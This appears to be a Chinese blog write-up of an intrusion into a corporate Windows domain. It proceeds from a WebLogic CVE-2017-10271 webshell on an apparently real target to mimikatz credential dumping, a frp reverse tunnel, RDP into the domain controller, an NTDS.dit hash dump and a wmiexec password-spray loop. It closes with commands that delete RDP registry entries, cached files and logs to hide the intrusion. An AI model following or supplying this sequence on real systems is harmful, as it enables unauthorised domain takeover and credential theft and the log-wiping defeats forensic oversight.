0X01 目标
主站:
代码语言:javascript复制https://www.xxx.com/en/
0X02 外围打点
通过子域名,找到分站:
代码语言:javascript复制https://www.xxx.com/
C段里面有一个安装Weblogic的服务器,CVE-2017-10271。
上传webshell。
代码语言:javascript复制http://xxx:xxxx//wls-wsat/xxx.jsp
0X03 内网渗透
主机信息收集
查看当前权限。
代码语言:javascript复制whoami
查看机器网卡情况。
代码语言:javascript复制ipconfig /all
- 存在域:xxx.local。
- 当前内网ip段:10.100.20.0/24.
查看当前机器是否出网。
代码语言:javascript复制ping www.google.com
查看当前主机是否存在杀软,也是个老牌杀软ESET NOD32,国外经常用这个,这次不用CS和MSF打。
查看当前机器安装的软件。
代码语言:javascript复制wmic product get name,version
不知道为什么没有回显,写入文件也没有。
查看当前机器的详细信息。
代码语言:javascript复制systeminfo
171个补丁。。。。。。
抓取密码,使用Prodump mimikatz导出lsass.exe存储的密码,获得账号密码,看样子有大哥来过,修改过注册表,不然windows server 2021抓不到明文密码,我们再搞一遍。
代码语言:javascript复制PRINCHEALTHpsvadmin:xxxxx
PSVHR-APPPRODoracle:xxxx
查看是否在域内。
代码语言:javascript复制net time /domain
域用户 域机器,舒服。
查看当前机器与其它机器建立的ipc连接。
代码语言:javascript复制net use
0X04 域信息收集
查看当前域管理员组,发现psvadmin为域管理员。
代码语言:javascript复制net group "Domain admins" /domain
查询信任域。
代码语言:javascript复制nltest /domain_trusts
- pxxxxxxx.local为主域。
- pxx.local为子域。
定位域控机器。
代码语言:javascript复制nltest /dclist:domainname
其中HWC-ADSRV-P01为主域控机器,但没有找到子域的域控。
查询主域控机器的ip地址。
代码语言:javascript复制ping HWC-ADSRV-P01
通过spn查询域pxxxxxxx.local结构。
代码语言:javascript复制setspn -T pxxxxxxx.local -Q */* >spn.txt
并统计域内主机数量,好家伙,3167台。
代码语言:javascript复制grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt
spn看起来太麻烦了,所以使用ADExplorer连接域控机器并导出域结构,ADExplorerSnapshot.py转换json格式,并将其导入Bloodhound,进行可视化分析,3113台机器,4897个用户。
Bloodhound
当前用户是psvadmin,我们的目标是域控机器的最高权限,再Bloodhound中填入开始节点为psvadmin用户和目标节点为域控机器名,它会为我们规划出一条攻击路径。
攻击路径
我们可以看到psvadmin用户是域管理员组的一名成员,比较简单,所以直接可以登录域控机器。
隧道搭建
Neo-reGeorg、Venom都被杀,frp不杀,很奇怪,出网使用frp反向代理搭建隧道。
frpc
frps
SocksCap
域渗透
当前为C类ip段,Ladon扫描内网存活主机。
Ladon
隧道已经搭建好了,拥有域管理员psvadmin明文账号密码,直接远程登录主域控机器。
mstsc
接下来就是使用NTDSUTIL拍摄ntds.dit的快照,使用NTDSDumpEx导出该域用户的全部hash即可。 最后使用wmiexec进行密码喷洒即可。
代码语言:javascript复制FOR /F %i in (ip.txt) do wmiexec Pxxxxxxx/psvadmin:xxxxxxx@%i whoami
密码喷洒
到这里这个域基本被打穿。
0X05 权限维持
由于只是练习,就不作域权限维持了,可以制作黄金票据。
0X06 痕迹清理
远程登录了主域控机器:172.21.2.2。 清理3389日志。
代码语言:javascript复制//删除注册表
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"//删除缓存文件cd %userprofile%documents
attrib Default.rdp -s -h
del Default.rdp
清除recent。
代码语言:javascript复制del /f /s /q “%userprofile%Recent*.*
最后清除在边界机器里上传的工具与脚本并清除日志。
0X07 总结
- 做好前期的信息收集,信息收集越好,打点也就越容易。
- 内网渗透不要依赖于Cobalt strike和MSF这种框架工具,多手动操作一下,可以对加深对原理的理解,掌握原理才能做到游刃有余。
- 多学习各种渗透姿势,不要只局限于一种渗透方式,毕竟内网的主机漏洞越来越少,即使有,成功率也不高。
- 不要做任何破坏性动作,注意最后的痕迹清理工作。
点赞,转发,在看
作者:Wangfly
作者博客:https://www.hui-blog.cool/posts/9ef8.html
如有侵权,请联系删除